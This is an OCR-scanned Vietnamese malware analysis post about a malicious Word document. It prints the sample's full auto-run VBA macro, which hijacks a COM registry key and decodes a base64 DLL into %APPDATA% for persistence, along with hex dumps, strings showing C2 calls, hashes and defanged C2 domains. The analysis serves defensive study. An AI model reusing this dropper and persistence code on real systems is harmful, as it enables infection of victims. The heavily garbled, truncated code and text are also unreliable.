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1 Codepage: 1252

2 Title:

2 Subject:

4 Ruthor: DEV

5 EHKeywords:

6 Comments:

7 Template: Normal.dotm

& Last suthor: blackcat

9 Eewvizion: 4

10 Application name: Microsoft Q0ffice Word
11 Editing time: 00:23:00 01.01

12 Creation time: Fri Jan 18 09:28:00 2019
13 Last save time: Tue Jan 29 22:07:00 2019
14 Page count: 7

15 Word count: 125343

16 Char count: 714458

17 Security type: 0

Dao vong vong trong sample dé thu thap thém thong tin: &=

L1} 4 4134 01 2 3 4 5 &6 7 8 9 A B CDETF Ascii

ooooog20 20 49 4E 43 4C 55 44 45 50 49 43 54 55 52 45 20 L INCLUDEFICTURE.
ooooog830 20 22 68 74 74 70 73 3A 2F 2ZF 77 oF 72 64 2E 77 ."https: f/vord.w
00000840 65 62 68 6F 70 2E 69 6E 66 6F 2F 6F 70 65 6E 2E  ebhop.info/open,
00000850 70 6E 67 22 20 20 5C ZA 20 4D 45 52 47 45 46 4F  png”..\",MERGEF0
00000860 52 4D 41 54 20 14 01 15  OC OD OC 0D OC OD 54 56 RMAT.......... v
00000870 T1 51 41 41 4D 41 41 41 4l 45 41 41 41 4l 2F ZF oQAAMARAAEAARA /S S
Qoooogsn 36 41 41 4C 67 41 41 41 41 41 41 41 41 41 51 41 GAALgAAAAAAARAQA
oooooss0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAARRRARAMRARRRA
QoooogaD 41 41 41 41 41 41 41 41 4]l 41 41 41 41 41 41 41 AAARARAAARBARKARA
DOODODEED 41 41 41 41 41 41 41 41 4l 41 41 41 41 41 45 41 ARARARRARARARAER
Qooooaco 45 41 41 41 34 66 75 &7 34 41 74 41 6E 4E 49 62 EAAA4fugditAnNIb
QoooosDd &7 42 54 4D 30 68 56 47 68 70 63 79 42 77 63 6D gBETHOWVCGhpocyBweon
O0OO03SED 39 6E 63 6D 46 74 49 47 4E 68 62 6D 35 76 64 43 SncaFclCihbmSwdC
O0OoD0eFd 42 69 5A 53 42 79 &4 57 34 67 61 57 34 67 52 45 EiZSBydWdgaWd4gRE
00000900 39 54 49 47 31 76 SA 47 55 75 44 51 30 45 4A 41  STIGLvZGUuDQOKIA
00000910 41 41 41 41 41 41 41 41 41 71 70 6E 72 57 62 73 AAAAAAAAAqEnCbs .
00000920 63 §5 68 57 37 46 46 49 56 75 78 76 53 46 32 6C cUnwFIVwsfzl  Basebdstring
00000930 76 6C 68 57 66 48 46 49 58 61 57 2B 65 46 47 38 v1hVIHFIXaW+eFGS
Qooono%40 &3 55 68 64 70 62 35 6F 56 32 78 T8 53 46 56 5A cUhdpbS5oVixx3FVI
Qooooss0  &E 58 68 48 7A 48 46 49 56 56 6D 52 47 45 64 4h  kXhHzHFIVVaRGE4HM
Qoooogs0 &3 55 68 56 57 54 45 49 52 ZB 78 T8 53 46 54 37 CUhWWWEEIR+xx3FET7
oooooes70  ZEB 48 68 57 33 48 46 49 56 75 78 T8 57 46 4E 63 +HhWIHFIVwxWFHc
Qooooss0 &3 55 68 66 79 54 48 59 52 76 78 T8 53 46 2F 4A cUhEyZHYRvxx3F/
oooooe9sd  &E 72 658 57 2F 48 46 49 56 75 78 34 4F 46 62 38 nchW/HFIVw40Fbs
000009%RD &3 55 68 66 79 S5A 46 6F 52 76 78 78 53 46 55 60 cUhfyZFoRvxxSFln
O0oo0eBd  &C BA 61 47 37 48 46 49 55 41 41 41 41 41 41 41 1jaCTHFIUAAARARR
000003CO 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  ARAAAAAAARAAAAAA
00000SDO 4L 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41  AAAAAAAABQRQAATA
O0000SED 45 47 41 45 2B 4E 51 56 77 41 41 41 41 41 41 41  EGACH+NOVwAAAAAAA
QoooosFo 4L 41 41 4F 41 41 41 69 45 4C 41 51 34 41 41 46 AAAOAARIELAQAARE
Qo0ooADD 49 41 41 41 44 49 41 77 41 41 41 41 41 41 77 68 IAAADIAwAAMARAWH
0o000ALlD 40 41 41 41 41 51 41 41 41 41 77 41 41 41 41 41 @ HMAARAQAARAAWARKAR
QoO00DAZO 41 41 45 41 41 51 41 41 4l 41 41 67 41 41 42 51 AMEAAQAAARBGAARD

Toan bo VBA code ctia sample:
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" module: ThisDocumentAttribute VB_Name = "ThisDocument"

Attribute VB _Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB _Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()

On Error Resume Next

Dim sAppData As String

sAppData = Environ("APPDATA")

sAppData = sAppData & "\main_background.png"

Dim sAppDataNew As String

sAppDataNew = Chr(34) & sAppData & Chr(34)

Dim myWS As Object, strPath

Set myWS = CreateObject("WScript.Shell")

Set fsoCheck = VBA.CreateObject("Scripting.FileSystemObject")

Dim iCheck As Boolean
iCheck = False

#If Win64 Then

#Else

If (fsoCheck.FileExists("C:\Windows\SysWOW64\cmd.exe") = True) Then

iCheck = True
Else
iCheck = False
End If
#End If

If iCheck = True Then
Dim wsh As Object

Set wsh = VBA.CreateObject("WScript.Shell")
Dim waitOnReturn As Boolean: waitOnReturn = True

Dim windowStyle As Integer: windowStyle = 0
wsh.Run "cmd.exe /S /C reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF¢

Else
If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\") = False Then
myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\", "", "REG_SZ"
Else
End If

If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543]
If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54(C1-4227-AF9B-260AB5FC:
myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260QAB5F

Else
End If

myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5F(C35¢

Else
End If
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End If
Dim b As String
Dim a As String
Dim tableNew As Table
Set tableNew = ActiveDocument.Tables(1)
If (iCheck = True) Then
a = tableNew.Cell(1, 1).Range.Text

a = Left(a, Len(a) - 2)
b = Baseb64Decode(a, sAppData)
Else
a = tableNew.Cell(1, 2).Range.Text
a = Left(a, Len(a) - 2)
b = Base64Decode(a, sAppData)
End If

End Sub

Function RegKeyExists(i_RegKey As String) As Boolean
Dim myWS As Object
On Error GoTo ErrorHandler
Set myWS = CreateObject("WScript.Shell")
myWS.RegRead i_RegKey
RegKeyExists = True
Exit Function

ErrorHandler:
'"key was not found
RegKeyExists = False
End Function

Function Base64Decode(ByVal vCode, ByVal sPath)
Dim oXML, oNode
Set oXML = CreateObject("Msxml2.DOMDocument.3.0")
Set oNode = oXML.CreateElement("base64")
oNode.dataType = "bin.base64"
oNode.Text = vCode

Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.0Open
objStream.Write oNode.nodeTypedValue
objStream.SaveToFile sPath, 2

Set objStream = Nothing
Set oNode = Nothing
Set oXML = Nothing
End Function

Co ban VBA code nay lam nhiém vu:
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e Cau thanh dwong dan cho tap tin main_background.png: % APPDATA %\main_background.png
e Kiém tra m6i truong hién hanh 1a 32-bit hay 64-bit. Néu la 64-bit thi s& thuyc thi 1énh:

wsh.Run "cmd.exe /S /C reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB:

ngugc lai, thye thi 1an lvot:

myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\", "", "f

Dua vao tr khéa InprocServer32, ta c6 thé biét dugc file % APPDATA %\main_background.png sé la
mot tap tin dll

e Sau khi thiét 1ap thanh c6ng Registry, tién hanh decode base64data va ghi ra file main_background.png. Dya

vao bién iCheck dé drop ra dll x64 hay dll x32:

Set tableNew = ActiveDocument.Tables(1)
If (iCheck = True) Then

a = tableNew.Cell(1, 1).Range.Text //1ay basebddata tai hang 1 cot 1 (32bit-d1l)
a = Left(a, Len(a) - 2)
b = Baseb64Decode(a, sAppData)

Else
a = tableNew.Cell(1, 2).Range.Text //1dy basebddata tai hang 1 cot 2 (64-bit dll)
a = Left(a, Len(a) - 2)
b = Base64Decode(a, sAppData)

End If

Press enter or click to view image in full size
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(1) SevwiyWaming  Macios haee been dicabled, | Enable Content

Can ¢ vao thong tin c6 dugc tién hanh decode dé 1ay cac binary. C6 thé debug hodc la dung Cyberchef:
e 32-bit dll:

Press enter or click to view image in full size
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TVqQAAIMAAEMMHEMLgMAM EAEAMAATUgAATANNIbgBTHOGhp cy BucmBnemFEIG —l

HhbmSvdCBi7SBy dWdgalidgRESTIGIvZGUUDQRK IALARAAARAR g priribscUhHTHF IVux xSF 2 v IhfHF IXali+ e FGEcUhdpbSeV2xx SFYZKXhHzHF IVVmRGEdM U

HVWZ E TR+ X KSFE7+HRWIHF IV FNecUR T y ZHYRVERS F /S Inehl HF IVux40Fb3cUhTy ZFoRvaxSFUML §aGTHF IUAAAAARAAAAARAARAARAARARANAARAAABORD

AATAEGACHNOVRAAAARAAAALDARA L ELARSAAK T ARAD T AWARAAA RN MAARADAAA A WAAAAARAE AAQAAAAL B AABDABAAAAARAF AAEARAARAACHEBARABAAARAAAAATA

QAEAAREAAABAARAAAEARAE ARAAAAAABAARARRARNAARRAAK DOA DA AAARA TAEAE gCAAARRAANAARARANARARARAAARK AE ALQHAADACQE ADAAMARARARLAARAAAR

AARARBAARAARARSARAAAPE TADBAAARAANARRRAARAA AR ARHAE AARALARAARSAAARAAAAAAARSAR AR ARARAAL SRZENBAARAC BEARARDAARRORARRADANAARALAS
start: 237430 time: 166ms

nd: 237438 length: 267744 [ & 2

Qutput 'Len;:n -1 E;ﬁ“: 551 B D Y i
HE e w.mim (s s i L i A SN 5 i) o o e ol ity ) S ey S 2..7 I!_.L1!This program cannot be run in DOS mode.
*lzlnC..nC..nC..0[4.gC..0[c..C. . U[&.vC. UL .. |
L o 1 R o R oS - P [ o o R T 0 - s oY [ oY [ o TR | o

.................. L P R M N ot ¢ LA, TNV S, PPy A

SPEL. L TR PRy RRPY @..8.data e
M oiigaiaatmny o R e e i B..8.rsrC. . He i [, SO g..@.reloc
.......... TR 1S R ST S = A L S St B s S - POt WL N ST NN SYRYETO F R Syg-Ie CR

h* ... OvW. AL . Bt 5. 9.3 5.5 9. A~ ARULaLm. etk L8 LA L LRT RS O - 1A..;

e 64-bit dll:

Press enter or click to view image in full size

TVAOAAMAAANEAARS S/ BAAL EAAARAAASADAARA AR AR AAAR S A AR SN AR AAA AR A LR BAA SRR SAAA AR ARAE AR AARAFUg AATANN T bEB THARVGhp oy BucsrdinemFTIG I
NhbmsvdCBiZSBydiWagakdgRESTIGIVIGUUDQRK JAAAAAAAAARTFIUZ Xz TIGCC+ 2RNHPTRBAAKIGMC+ 2 TTRARKERZ 7 ZNOACHRQHPTKXELAZWEc+ ZROQvE1ThIT
ZFERCS 2V2HPthbmROZGQC+2RNHPpLORZ T ZPVC mmHP thSUL E 2GY C+2RnHGERKZhz T2 MVE HivmHPthUm] § aG oo+ 2QAAARAAAAAAARAAARAAAAA AR RIAARAAAB QRO
AATTYHADKHQVWARLAARAAAAPAAT { AL AZAAATAAMC OBAALAMAACBQARMADAAAARAC ARQALAAADAAA A AABQAC ALALAAAF AATARAAAAACQEQAABAAALARARATA
Y AEAMB ASAAGAAA A AL AAASAAAA D AARAAR ALE ARBAA ALASABAALO A AL AL CAAN ALA B o LWE AR ALAAABLBOE T A AAAF AFAK gMALAA A AAA ALK AL C ABQAME AMKL
E MgMMMMMWIQEAIMMMMEgEMMMAMAMA&bMMUdGVJ didasPCdasal

A AT AL LA A A AL AR R AT TR TS A B A LA T A L A A A A AR A A AR VT A TR R R i AR

stort: 341330 time: o6as

end: 341825 length: 332006 " o i
OUtPUt length: -1 Yines: 558 B D s i
M sl L' QB i dimime: o bR i i i e weiAs R 2,." I! .LI!This program cannot be run in DOS mode.

B i #}.7g. Gdg. fdg. 0dd.

de.ado. .d. . 0do.

______________ e N e S it | - | iiltilttI@SH i8y.. .. 3D §F. .D.AGLE. L OH.OH. Art30H. | 540
C.AY BLUHCDS ... H.BL.. 8. H.EH.e§..... H.§t IHCDS (. . . .E3EL.CCDS

Toi thay attacker c6 vé hai nham trong qua trinh decode va ghi ra file. Néu la OS 64-bit thi lai drop ra 32-
bit dll. Con ngugc lai, véi OS 32-bit lai drop ra 64-bit dll &

Kiém tra so bo cac dll
e Vi 32-bit dll:

Press enter or click to view image in full size

L UUUUULIE LY UL TUE Y U areie
L 0O0DDOD3ESDC O000100407DC O 28
(V) OO0D003E A D000 D040BAE Mezilad.0 [compatible; MSIE 7.0; Windowves MT %d; WOWEA: Trident/7.0; METADE: META.0C: InfoPath.3: MET CLR 35,

Press enter or click to view image in full size
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¥ Advanced view Time taken ; 0.359 secs  Text size; 236

File pos | Maem pos [1Ip [ Test
U 00000000E2DE 0O0OM0QOFCDE 0
L 00000000E2ES  OOODOTODOFCES a
L O0000000OE2F4  OOODOTO00OFCF4 o
L 0000000OE300  OOOCOT000FDOO 1]
L 0000000OE30C  OOOOT000FDOC 1] zhzg
0
0
0
[1]

Ui 0ODDODDOE31E  0ODO100DFDE
L4 DOODOODDES24  00OOT000FD24
L4 DO0DOODOEZS3  000D1000FDES
21 0000000715300 000010013730 0

ZWZa
CONOUTS
A

LodetMacio NB2WHequestiPos

emell?ll

L7 000000032704 00000034904 O
U 000000034857  ODOOT003GAS? O Badvania2
000000011530 000010013730 @  XA:\Code\Macro_NB2\Request\PostData32.exe -u hxxps://syn[.]servebbs

e V0i 64-bit dll:

Press enter or click to view image in full size

| _Fibs pos | Hempos [0 | Test

U 000000043121 OOODDOD4304E 0 pr-ching

L7 0000000422 000004 30CE 0 pueihorico

U 00000003151 ODODDOD430DE 0 slowak

L 000000043167 OOOD0OO430EE O south shica

U 000000043181 OOOODOD43M0E 0 south korea

U 0000000415 O0OODODMIN2E O soulh-gica

U QOODDOD4Z1ES  QODOOOD43146 O southekorea

U 000000043101 ODODDOD4ZASE 0 uinidad & lobago
U O0O0O00AETFE  O0OODOM4IEE O ursled-kingdom
U 000000043219 OOOODOD4ZM4E O urited-stales

| L D0ODOOOMEFES  ODODOODEF4E 0 CONOUTE
(7] DODD000SE0CS 0 ozl

Filz pos | Mem pos [ [Tes
4 0000Q000FE8S  000O000OFE1S zhiw
4 00000000FE235  00000000F825 zU-2a

000000014243  0000000141D0 @  YA:\Code\Macro_NB2\Request\PostDatab4.exe -u hxxps://syn[.]servebt

Thtt load file vé nhung C2 da deo:

Press enter or click to view image in full size

. failed: Cc ction timed

. failed: Connection timed out.

I0Cs:

Doc sample: 9f59¢397d1346f2707fc7b54fe6cb4622770accf94eb4394514d2bf167d65007

Get m4n0wd4r’s stories in your inbox
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Join Medium for free to get updates from this writer.
Remember me for faster sign in
Dropped file (based on architecture):

o 32-bit dll: ee1e3956df9f69ae3c87a53075881f65
o 64-bit dll: c74a24deaB88999797aaceeecd63efaff

Some C2:

o hxxps://word[.]webhop[.]info ( 109[.]248[.]149[.]96)
o hxxps://syn[.]servebbs[.Jcom ( 194[.]9[.]177[.]13)

Press enter or click to view image in full size
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End.

Source: https://tradahacking.vn/th%C6%B0%E1%BB%9Fng-t%E1%BA%BFt-fbcbbed49da7

Page 8 of 8



